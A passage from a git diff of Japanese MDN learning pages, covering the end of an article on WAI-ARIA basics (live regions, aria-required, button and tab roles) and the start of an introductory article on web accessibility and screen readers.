コンテンツの更新がスクリーンリーダーに検知されないため、ユーザーは何が起こっているかを知ることができないからです。 これはつまらない例ですが、更新され続けるコンテンツを多く含む複雑な UI をあなたが作ることを想像してください（チャットルームや戦略ゲームの UI、動的に更新されるショッピングカートの表示など）。 ユーザーに更新を知らせる何かしらの手段がない限り、それがどんなに実用的なアプリであっても使いこなすことはできないでしょう。</p> + +<p>幸いなことに WAI-ARIA はそのような通知を行う便利な機構を提供しています。 それが <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-live">aria-live</a></code> プロパティです。 このプロパティを要素に適用すると、スクリーンリーダーが更新されたコンテンツを読み上げてくれるようになります。 どのような緊急性をもってコンテンツを読み上げてくれるかは、次のように属性値によって変わります。</p> + +<ul> + <li><code>off:</code> デフォルト値。更新は通知されない (should not)。</li> + <li><code>polite</code>: 更新はユーザが暇になったときのみ通知される (should)。</li> + <li><code>assertive</code>: 更新は可能な限り早くユーザに通知される (should)。</li> +</ul> + +<p><a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/quotes.json">quotes.json</a> のコピーを作成し、<code><section></code> タグの内容を次のように更新してください。</p> + +<pre class="brush: html"><section aria-live="assertive"></pre> + +<p>これにより、コンテンツの更新があった際にスクリーンリーダーがその内容を読み上げてくれるようになります。</p> + +<div class="note"> +<p><strong>注</strong>: <code>file://</code> URL をもつページから <code>XMLHttpRequest</code> を呼び出そうとするとほとんどのブラウザーはセキュリティ例外を投げます。 例えば、（ダブルクリックなどにより）ファイルを直接ブラウザーで読み込んだ場合に <code>file://</code> URLで開かれます。 動作させるためには、 ウェブサーバー（<a href="/ja/docs/Learn/Common_questions/Using_Github_pages">GitHub を利用</a>するなど）やローカルウェブサーバー（<a href="http://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/">Python の SimpleHTTPServer</a>（英語）など）にファイルをアップロードする必要があります。</p> +</div> + +<p>加えて、考慮すべきことがあります。 テキストの更新された部分だけを読み上げるべきかどうかです。 常に見出し全体を読み上げる方が、何を読み上げられているかをユーザーが認識できるという点で望ましいかもしれません。 その対象に <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-atomic">aria-atomic</a></code> プロパティを追加することで、このような動作を得ることができます。 手元の <code><section></code> タグを再度更新して、次のようにしてください。</p> + +<pre class="brush: html"><section aria-live="assertive" aria-atomic="true"></pre> + +<p>この <code>aria-atomic="true"</code> 属性が、更新された一部分だけではなく、要素全体のコンテンツを1つのまとまりとして読み上げるようスクリーンリーダーに伝えます。</p> + +<div class="note"> +<p><strong>注</strong>: 完成した例は <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-live.html">aria-live.html</a> をご覧ください（もしくは<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-live.html">動作版をご覧ください</a>）。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> プロパティはライブリージョンが更新された際に何が読み上げられるかを制御するのに非常に役に立ちます。 例えば、追加や削除をされた内容だけを読み上げさせることもできます。</p> +</div> + +<h3 id="Enhancing_keyboard_accessibility" name="Enhancing_keyboard_accessibility">キーボードでのアクセシビリティの拡張</h3> + +<p>このモジュールの他の箇所でも何度か言及したように、アクセシビリティという観点での HTML がもつ重要な能力の1つが、キーボードでのアクセシビリティが組み込まれていることです。 キーボードから、ボタンやフォームコントロール、リンクなどの機能にアクセスできます。 一般的に、タブキーでコントロール間を移動したり、エンター/リターンキーでコントロールの選択や活性化をしたり、必要に応じたその他の制御（例えば、上下矢印キーでの <code><select></code> ボックス内のオプション間の移動）ができます。</p> + +<p>しかし、時には（ボタンや他のタイプのコントロールとして）意味論的でない要素や正しい用途ではないフォーカス可能な要素を利用するコードを書かざるをえないこともあるでしょう。 あなたが引き継いだ作りの悪いコードを修正したり、そのようなコードを必要とする複雑なウィジェットを作ったりする場合があるかもしれません。</p> + +<p>フォーカスできないコードをフォーカス可能にするために、WAI-ARIA では <code>tabindex</code> 属性を拡張して次のようにいくつかの値を加えています。</p> + +<ul> + <li><code>tabindex="0"</code> — 上で示したように、この値は通常タブキーでの移動対象とならない要素をタブ移動可能にします。 この値は <code>tabindex</code> の値の中で最も便利なものです。</li> + <li><code>tabindex="-1"</code> — この値は通常タブキーでの移動対象とならない要素がプログラム的にフォーカスを受け付けられるようにします。 例えば、JavaScript を利用したりリンクのターゲットとしてフォーカスするケースです。</li> +</ul> + +<p>より詳細な議論や典型的な実装例については、HTML のアクセシビリティに関する記事 — <a href="/ja/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">キーボード・アクセシビリティを呼び戻すように盛り込む</a> をご覧ください。</p> + +<h3 id="Accessibility_of_non-semantic_controls" name="Accessibility_of_non-semantic_controls">意味論的でないコントロールのアクセシビリティ</h3> + +<p>このセクションの内容は前セクションの続きです。 多くの入れ子になった <code><div></code> 要素と CSS/JavaScript を利用して複雑な UI 機能を構築した場合、また、JavaScript で本来のコントロールの機能を拡張/改変した場合を考えてみましょう。 そのようなときには、キーボードでのアクセシビリティが損なわれるだけでなく、スクリーンリーダーのユーザーが各機能のふるまいを理解することは何らかの意味論や手がかりがない限り困難となってしまう。 そのような状況においても、ARIA はそこにあるべき意味論を補足する手助けができます。</p> + +<h4 id="Form_validation_and_error_alerts" name="Form_validation_and_error_alerts">フォーム検査とエラー警告</h4> + +<p>まず、CSS と JavaScript のアクセシビリティ の記事で最初に見たフォームの例を再検討しましょう（完全なまとめを再び見るには、<a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript#Keeping_it_unobtrusive">ひかえめに保つこと</a> をお読みください）。 フォームを送信しようとした際に検査エラーがあると現れるエラーメッセージ・ボックスにいくつかの ARIA 属性を含めたことを、そのセクションの末尾で示しておきました。</p> + +<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>errors<span class="punctuation token">"</span></span> <span class="attr-name token">role</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>alert<span class="punctuation token">"</span></span> <span class="attr-name token">aria-relevant</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>all<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>ul</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>ul</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<ul> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#alert">role="alert"</a></code> は、適用先の要素を自動的にライブリージョンにします。 すると、その要素に対する変更は読み上げられます。 また、<code><a href="https://www.w3.org/TR/wai-aria-1.1/#alert">role="alert"</a></code> は、その要素が警告メッセージ（重要であり、時間 / コンテキストの影響を受ける情報）なのだ、と意味論的に特定しています。 かつ、ユーザーに警告を伝える、より優れていてよりアクセス可能な方法も、表現しています（<code><a href="/ja/docs/Web/API/Window/alert">alert()</a></code> の呼び出しのようなモーダル・ダイアログには、いくつものアクセシビリティの問題があります。 WebAIM による <a href="http://webaim.org/techniques/javascript/other#popups">ポップアップ・ウィンドウ</a>（英語）を参照）。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> の <code>all</code> という値は、エラー・リストに対して何らかの変更がなされた際には（つまり、エラーが追加または削除された際には）エラー・リストの中身を読み上げるよう、スクリーンリーダーに命令するものです。 これは有用です。 なぜなら、ユーザーは、リストに何が追加され、リストから何が削除されたのかを知りたいだけでなく、何のエラーが残っているのかを知りたいでしょうからね。</li> +</ul> + +<p>ARIA を使用して、更に先へ踏み込むこともできるでしょうし、なんらかの検査の手助けを更に提供することもできるでしょう。 そもそもフィールドが必須かどうかを示すことや、年齢がどの範囲にあるべきかを示すこと、などはいかがでしょうか？</p> + +<ol> + <li>いまの時点で、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/validation.js">validation.js</a> のファイルのコピーをとり、それをローカル・ディレクトリに保存してください。</li> + <li>両ファイルをテキストエディタで開き、コードがどのように動くのかを見てください。</li> + <li>まず始めに、<code><form></code> 開始タグのすぐ上に次のような段落を加えるとともに、フォームの <code><label></code> には、両方ともアスタリスクの印をつけてください。 これは、晴眼者ユーザー用に必須フィールドに印をつける通常の方法です。 + <pre class="brush: html"><p>Fields marked with an asterisk (*) are required.</p> +訳: <p>アスタリスク（*）が付いているフィールドは必須です。</p></pre> + </li> + <li>これは視覚的に意味をなしますが、スクリーンリーダーのユーザーにとっては、理解するのがそれほど容易ではありません。 さいわい、WAI-ARIA には、フォーム入力欄を埋める必要があることをユーザーに伝えるべきだとスクリーンリーダーにヒントを与えるための、<code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-required">aria-required</a></code> 属性があります。 <code><input></code> 要素を次のように更新してください。 + <pre class="brush: html"><input type="text" name="name" id="name" aria-required="true"> + +<input type="number" name="age" id="age" aria-required="true"></pre> + </li> + <li>この例をここで保存してスクリーンリーダーでテストしてみれば、「Enter your name star, required, edit text（名前を入れてください 星、必須、テキストを編集）」のようなものを聞くことになるはずです。</li> + <li>年齢の値がどうあるべきかについて、スクリーンリーダーのユーザーと晴眼者のユーザーに知らせるのも、有用かもしれません。 これはツールチップとして提示されることがよくあり、あるいは、フォームのフィールド内部のプレースホルダーとして提示されることも、多分あります。 最小値と最大値を指定するための <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemin">aria-valuemin</a></code> プロパティと <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemax">aria-valuemax</a></code> プロパティを、WAI-ARIA は確かに含んではいますが、これらのプロパティは、今のところそれほどちゃんとサポートされてはいないようです。 よりちゃんとサポートされている機能は、HTML5 の <code>placeholder</code> 属性です。 これは、何の値も入力されていないときに入力欄の中に表示されるメッセージを含むことができ、多くのスクリーンリーダーにより読み上げられます。 数値入力欄を次のように更新してください。 + <pre class="brush: html"><input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true"></pre> + </li> +</ol> + +<div class="note"> +<p><strong>注</strong>: この完成した例を、<a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-updated.html">form-validation-updated.html</a> においてライブ版で見られます。</p> +</div> + +<p>また、古典的な {{htmlelement("label")}} 要素以上の、ある種の先進的なフォームのラベルづけ技法も、WAI-ARIA によって可能になります。 晴眼者のユーザーに対してラベルを可視にしたくない箇所にラベルを設けるために <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code> プロパティを使うことについては、すでに述べました（上記の {{anch("SignpostsLandmarks", "道しるべ/ランドマーク（Signpost/Landmark）")}} のセクションを参照）。 別のプロパティを使う別のラベルづけ技法も、いくつかあります。 例えば、非 <code><label></code> 要素をラベルとして指定したいとき、または、同じラベルで複数のフォーム入力欄にラベルづけをしたいときに <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby">aria-labelledby</a></code> を使うとか、別の情報をフォーム入力欄に関連づけてその情報も同様に読み上げさせたいときに <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a></code> を使うとかいったものです。 より詳しくは、WebAIM の <a href="http://webaim.org/techniques/forms/advanced">高度なフォームのラベル付け</a>（英語）の記事を参照してください。</p> + +<p>フォーム要素の状態を示すための有用なプロパティやステートは、ほかにもたくさんあります。 例えば、フォーム・フィールドが無効化されていることを示すには、<span class="subtitle"><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-disabled">aria-disabled</a>="true"</code> </span>が使えます。 多くのブラウザーは、無効化されたフォーム・フィールドを単に飛ばすだけでしょうし、無効化されたフォーム・フィールドは、スクリーンリーダーに読み上げられることすらないでしょう。 しかし、無効化されたフォーム・フィールドが認識される場合もあるでしょう。 ですから、無効化されている入力欄が実際に無効化されているのだ、とスクリーンリーダーに知らせるために、この（<span class="subtitle"><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-disabled">aria-disabled</a>="true"</code></span> という）属性を含めておくことは、良い考えです。</p> + +<p>もし入力欄の無効化ステートが変化する可能性が高いなら、その変化が起きた時点と、その結果どうなったのかを示すことも、良い考えです。 例えば、<span class="subtitle"><a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-checkbox-disabled.html">form-validation-checkbox-disabled.html</a> </span>のデモには、チェックされると他のフォーム入力欄への更なる情報の入力を可能とするようなチェックボックスがあります。 次のように隠しライブリージョンを設定してあります。</p> + +<pre class="brush: html"><p class="hidden-alert" aria-live="assertive"></p></pre> + +<p>これは、絶対的位置指定を使って、視界からは隠してあります。 これがチェックされたり、これのチェックが外されたりすると、このチェックボックスのチェックの結果がどうなったのかをスクリーンリーダーのユーザーに伝えるために、<code>aria-disabled</code> ステートやいくつかの視覚的表示を更新するだけでなく、この隠しライブリージョン内部のテキストも更新します。</p> + +<pre class="brush: js">function toggleMusician(bool) { + var instruItem = formItems[formItems.length-1]; + if(bool) { + instruItem.input.disabled = false; + instruItem.label.style.color = '#000'; + instruItem.input.setAttribute('aria-disabled', 'false'); + hiddenAlert.textContent = 'Instruments played field now enabled; use it to tell us what you play.'; + } else { + instruItem.input.disabled = true; + instruItem.label.style.color = '#999'; + instruItem.input.setAttribute('aria-disabled', 'true'); + instruItem.input.removeAttribute('aria-label'); + hiddenAlert.textContent = 'Instruments played field now disabled.'; + } +}</pre> + +<h4 id="Describing_non-semantic_buttons_as_buttons" name="Describing_non-semantic_buttons_as_buttons">非意味論的なボタンをボタンとして説明する</h4> + +<p>この課程の中で既に二、三回、ボタンやリンクやフォーム要素に本来備わったアクセシビリティ（および、ボタンやリンクやフォーム要素の外見を模倣するために他の要素を使うことの背後に隠れた、アクセシビリティの問題）について述べました（HTML アクセシビリティの記事の <a href="/ja/docs/Learn/Accessibility/HTML#UI_controls">UI コントロール</a> と、上記の {{anch("Enhancing_keyboard_accessibility", "キーボードでのアクセシビリティの拡張")}} を参照）。<br> + 基本的には、多くの場合、<code>tabindex</code> とほんの少しの JavaScript を使えば、それほど問題を生じずにキーボード・アクセシビリティを追加して呼び戻せます。</p> + +<p>しかし、スクリーンリーダーについてはどうでしょうか？ スクリーンリーダーはそれでもまだ、そうした要素をボタンとは見なさないことでしょう。 もし <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> の例をスクリーンリーダーで試してみれば、見せかけのボタンは「Click me!, group（クリックしてください！、グループ）」のような語句を使って報告されるでしょうし、それは明らかに混乱を招くものです。</p> + +<p>WAI-ARIA ロールを用いてこれを修正できます。 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> のローカルコピーを作って、ボタンとしての <code><div></code> の各々に <code><a href="https://www.w3.org/TR/wai-aria-1.1/#button">role="button"</a></code> と追加してください。 例えば次のようにします。</p> + +<pre><div data-message="This is from the first button" tabindex="0" role="button">Click me!</div></pre> + +<p>今や、スクリーンリーダーを使ってこれを試してみれば、「Click me!, button（クリックしてください！、ボタン）」のような語句を使ってボタンを報告させることになるでしょう。 ずっと良くなりましたね。</p> + +<div class="note"> +<p><strong>注</strong>: とはいえ、可能な箇所では正しい意味的要素を使うことの方が常に良いのだ、ということを忘れないようにしてください。 もしボタンを作りたいなら、そして {{htmlelement("button")}} 要素が使えるなら、{{htmlelement("button")}} 要素を使うべきです！</p> +</div> + +<h4 id="Guiding_users_through_complex_widgets" name="Guiding_users_through_complex_widgets">複雑なウィジェットを通じてユーザーを案内する</h4> + +<p>非意味論的な要素構造を、標準的な HTML で利用可能な UI 機能以上の一般的な UI 機能——例えば、<code><a href="https://www.w3.org/TR/wai-aria-1.1/#combobox">combobox</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#slider">slider</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tree">tree</a></code> など——として指定できる、大変多くの他の <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">ロール</a>（英語）があります。 そうしたコントロールをどのようにすればアクセス可能にできるのかについて理解するために、<a href="https://dequeuniversity.com/library/">Deque 大学のコード・ライブラリ</a>（英語）で多くの有用な事例を見ることができます。</p> + +<p>わたしたち自身の事例を検討しましょう。 単純で、絶対的位置指定をした、タブ付きのインターフェイス（CSS と JavaScript のアクセシビリティの記事の、<a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript#Hiding_things">ものごとを隠す</a> を参照）へと戻りましょう。 これは、<a class="external external-icon" href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">タブ付きの情報ボックスの例</a>（<a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">ソースコード</a> を参照）の中に見つかります。</p> + +<p>この例は、このままでもキーボード・アクセシビリティに関しては、うまく機能します。 幸いなことに、異なるタブ同士の間でのタブ移動が可能ですし、タブを選択して当該タブの中身を表示することもできます。 また、次の点でもかなりアクセス可能です。 すなわち、たとえ画面上で何が起きているのかが見えないとしても、コンテンツ全体にわたってスクロールすることはできますし、見出しを使って見通しを得ることもできます。 でも、そのコンテンツが何であるのかは、明らかではありません。 スクリーンリーダーは今のところ、そのコンテンツのことを、リンクのリストと、三つの見出しを備えた何らかのコンテンツである、と報告してきます。 スクリーンリーダーは、コンテンツ間にどういう関係があるのかについては、何も知らせてくれません。 コンテンツの構造に関する更なる手がかりをユーザーに与えることは、常に良いことです。</p> + +<p>ものごとを改善するために、わたしたちは、<a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-tabbed-info-box.html">aria-tabbed-info-box.html</a> と呼ばれる、本例の新たなバージョンを作成しました（<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-tabbed-info-box.html">これがライブ版で動くところも参照</a>）。 タブ付きのインターフェイスの構造を次のように更新しておきました。</p> + +<pre class="brush: html"><ul role="tablist"> + <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> +</ul> +<div class="panels"> + <article class="active-panel" role="tabpanel" aria-hidden="false"> + ... + </article> + <article role="tabpanel" aria-hidden="true"> + ... + </article> + <article role="tabpanel" aria-hidden="true"> + ... + </article> +</div></pre> + +<div class="note"> +<p><strong>注</strong>: ここでの最も際立った変更点は、この例にもともと存在していたリンクを削除して、単にリスト項目をタブとして使ったことです。 このようにした理由は、スクリーンリーダーのユーザーにとっての物事の紛らわしさを減らせるからであり（これらのリンクは、実際にどこかへ連れて行ってくれるものではなく、ただ見かけを変化させるだけのものなのです）、また、セット機能における setsize/position が、よりうまく機能できるようになるからです。 setsize/position がリンク上に設定されている場合、ブラウザーは、「3 分の 1」「3 分の 2」などではなく、常に「1 分の 1」と報告し続けます。</p> +</div> + +<p>新たな機能は次の通りです。</p> + +<ul> + <li>新たなロール——すなわち <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tablist">tablist</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tab">tab</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code> ——は、タブ付きインターフェイスでの重要な領域——つまり、タブ群のコンテナと、タブ自体と、対応するタブパネル——を識別します。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-selected">aria-selected</a></code> — 今どのタブが選択されているのかを定めます。 別のタブがユーザーにより選択されると、その別のタブ上のこの属性の値が、JavaScript を介して更新されます。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-hidden">aria-hidden</a></code> — スクリーンリーダーに読み上げられないように、要素を隠します。 別のタブがユーザーにより選択されると、その別のタブ上のこの属性の値が、JavaScript を介して更新されます。</li> + <li><code>tabindex="0"</code> — リンクを削除したので、リスト項目にキーボード・フォーカスを与えるためには、リスト項目にこの属性を与える必要があります。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-setsize">aria-setsize</a></code> — 要素が一連のもののうちの一部なのだということと、その一連のものの中にいくつの項目があるのかということを、スクリーンリーダーに対して指定することが、このプロパティによって可能となります。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-posinset">aria-posinset</a></code> — 一連のものの中で要素がどの位置にあるのかを指定することが、このプロパティによって可能となります。 このプロパティを <code>aria-setsize</code> と一緒に用いると、現在「3 分の 1」の項目にいます、などと知らせるのに十分な情報を、スクリーンリーダーに対して提供してくれます。 多くの場合、ブラウザーは、要素の階層構造からこの情報を推測できるはずですが、<code>aria-posinset</code> は、更なる手がかりを与えるのに確かに役立ちます。</li> +</ul> + +<p>わたしたちの検査では、この新たな構造は、物事を全体的に改善するのに確かに役立ちました。 今や、タブはタブとして認識されます（例えば、スクリーンリーダーが「タブ」と話します）し、選択されたタブは、そのタブ名で読み上げられて「選択中」と示されますし、スクリーンリーダーは、どのタブ番号のところに今いるのかということも教えてくれます。 さらに、<code>aria-hidden</code> の設定（まさに隠されていないタブのみに、<code>aria-hidden="false"</code> と設定されている）のおかげで、隠されていないコンテンツのみが、ナビゲートして下ってゆける唯一のコンテンツとなっており、このことは、選択されたコンテンツを見つけやすくなったことを意味します。</p> + +<div class="note"> +<p><strong>注</strong>: スクリーンリーダーに読み上げさせたくないと明示的に思うものが何かある場合、スクリーンリーダーに対して、<code>aria-hidden="true"</code> 属性を与えることができます。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>本記事は、WAI-ARIA で利用可能なすべてのものを取り扱ったとは、到底、言えません。 でも、WAI-ARIA の使い方を理解するのに十分な情報をお伝えしたはずです。 また、これから出会うであろう、WAI-ARIA を必要とするような最もよくあるパターンのうちのいくつかを知るのに十分な情報も、お伝えしたはずです。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">ロールの定義</a> — ARIA ロールのリファレンスです。（英語）</li> + <li><a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">ステートとプロパティの定義（すべての aria-* 属性）</a> — プロパティとステートのリファレンスです。（英語）</li> + <li><a href="https://dequeuniversity.com/library/">Deque 大学のコード・ライブラリ</a> — WAI-ARIA 機能を使ってアクセス可能にしてある複雑な UI コントロールを見せてくれる、実に有用かつ実践的な例からなるライブラリです。（英語）</li> + <li><a href="http://w3c.github.io/aria-practices/">WAI-ARIA のオーサリング・プラクティス</a> — W3C による非常に詳細なデザイン・パターンです。異なる種類の複雑な UI コントロールを、WAI-ARIA 機能を用いてアクセス可能にしつつ、実装する方法を説明しています。（英語）</li> + <li><a href="https://www.w3.org/TR/html-aria/">ARIA in HTML</a> — HTML の部品の各々について、どのアクセシビリティ（ARIA）の意味論がその部品に対してブラウザーにより暗黙裡に設定されるのか、そして、追加の意味論が必要な場合にはどの WAI-ARIA 機能をその部品に設定しうるのか、ということを定義する、W3C の仕様書です。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは？</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルのアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">評価: アクセシビリティのトラブルシューティング</a></li> +</ul> diff --git a/files/ja/learn/accessibility/what_is_accessibility/index.html b/files/ja/learn/accessibility/what_is_accessibility/index.html new file mode 100644 index 0000000000..8f4efd327a --- /dev/null +++ b/files/ja/learn/accessibility/what_is_accessibility/index.html @@ -0,0 +1,233 @@ +--- +title: アクセシビリティとは？ +slug: Learn/Accessibility/What_is_accessibility +tags: + - AT + - Accessibility + - Article + - Beginner + - CSS + - CodingScripting + - HTML + - JavaScript + - Learn + - Tools + - Users + - assistive technology + - keyboard + - screan reader + - screenreader +translation_of: Learn/Accessibility/What_is_accessibility +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</div> + +<p class="summary">この記事では実際アクセシビリティとは何かについてよく観察するモジュールから開始します — これには考慮が必要な人のグループや、いろいろな人がウェブとやり取りするのになぜ、どんなツールを使うのかや、アクセシビリティをウェブ開発のワークフローに取り組む方法が含まれます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"> + <p>前提知識:</p> + </th> + <td>基本的なコンピューターの知識、HTML と CSS に関する基本的な理解</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>アクセシビリティとは何か、そしてそれがウェブ開発者としてのあなたにどう関わってくるかを含め、アクセシビリティに詳しくなる</td> + </tr> + </tbody> +</table> + +<h2 id="So_what_is_accessibility" name="So_what_is_accessibility">で、アクセシビリティって何？</h2> + +<p>アクセシビリティというのはあなたのウェブサイトを可能な限り多くの人に利用してもらうようにすることです。かつては我々はアクセシビリティのことをハンディキャップを持つ人々のためのものだと考えていましたが、現在はモバイルデバイスや遅いネットワークを利用している人々のためのものでもあると考えられています。</p> + +<p>アクセシビリティを、能力や環境にかかわらず全員を同一に扱い、同じ機会を与えることと考えることもあります。車椅子に乗っているために物理的な建物から誰かを除外するのは正しくないのと同様に(昨今一般的に公的な建物では、車椅子のスロープやエレベーターを備えています)、視覚障碍があるためにウェブサイトから特定のユーザーを除外するのも正しくありません。我々はみんな異なっていて、しかしみんな人間であり、ゆえに同じ人権を持っています。</p> + +<p>アクセシビリティは正しい行為です。アクセシブルなサイトを提供することは、いくつかの国では法律の一部でもあり、そうしなければサービスを利用したり、製品を買ったりすることなどができなかったであろう、いくつかの重要な市場を開拓することができます。</p> + +<p>アクセシブルなサイトを構築するのは、すべての人の利益になります:</p> + +<ul> + <li>意味論的 HTML (これはアクセシビリティを改良します) は SEO の改善にもなり、サイトがもっと発見しやすいものになります。</li> + <li>アクセシビリティへの留意は倫理とモラルを誇示することになり、公的イメージが良くなります。</li> + <li>その他のアクセシビリティ改良の事例は、例えば携帯電話のユーザーや、ネットワーク速度が遅い人といったその他のグループにとってより使いやすくなります。実際にすべての人がこうした改良で利益を得ます。</li> + <li>ある場所では法律となっているって言いましたっけ？</li> +</ul> + +<h2 id="What_kinds_of_disability_are_we_looking_at" name="What_kinds_of_disability_are_we_looking_at">私たちが考える"不利な条件"とは？</h2> + +<p>障碍のある人は障碍のない人と同じくらい多様であり、よってその障碍も同じくらい多様です。ここでの重要な教訓は、あなたがコンピューターの向こうでウェブをどのように使うかを考え、他の人がどのように使っているかを学習し始めることです — あなたはユーザーとは違います。考慮すべき障碍の主な種類を、ウェブコンテンツにアクセスするために使う特別なツール（<strong>支援技術</strong>、<strong>assistive technology</strong> や <strong>AT</strong> として知られるもの）とともに以下に説明します。</p> + +<div class="note"> +<p><strong>注</strong>: 世界保健機構(WHO)の<a href="https://www.who.int/en/news-room/fact-sheets/detail/disability-and-health">障碍と健康</a>（英語）の報告によると、「10億人以上の人(世界人口の約15%)が何らかの障碍を持っています」し、「1億～1億9000万人の大人に目立った機能障碍があります」</p> +</div> + +<h3 id="People_with_visual_impairments" name="People_with_visual_impairments">視覚障碍者</h3> + +<p>視覚障碍者には全盲の人や、視覚が低レベルな人、色盲の人などが含まれます。これらの多くはスクリーン拡大鏡 (物理的な拡大鏡とソフトウェアズーム機能のいずれか — 大半のブラウザーと OS には今日ズーム機能があります) を使い、スクリーンリーダー、つまりデジタルテキストを読み上げるソフトウェアを使う人もいます。スクリーンリーダーの例はこれらです:</p> + +<ul> + <li>有償の商用製品、例えば <a class="external external-icon" href="https://www.freedomscientific.com/Products/software/JAWS/">JAWS</a> (Windows) や <a href="https://yourdolphin.com/screenreader">Dolphin Screen Reader </a>(Windows).</li> + <li>無償の製品、例えば <a class="external external-icon" href="https://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="https://www.chromevox.com/">ChromeVox</a> (Chrome, Windows Mac OS X), や <a class="external external-icon" href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li> + <li>OS に組み込まれたもの、例えば <a class="external external-icon" href="https://www.apple.com/accessibility/mac/vision/">VoiceOver</a> (Mac OS Xと iPadOSと iOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome OS), や <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li> +</ul> + +<p>スクリーンリーダーに精通するのは良い考えです; 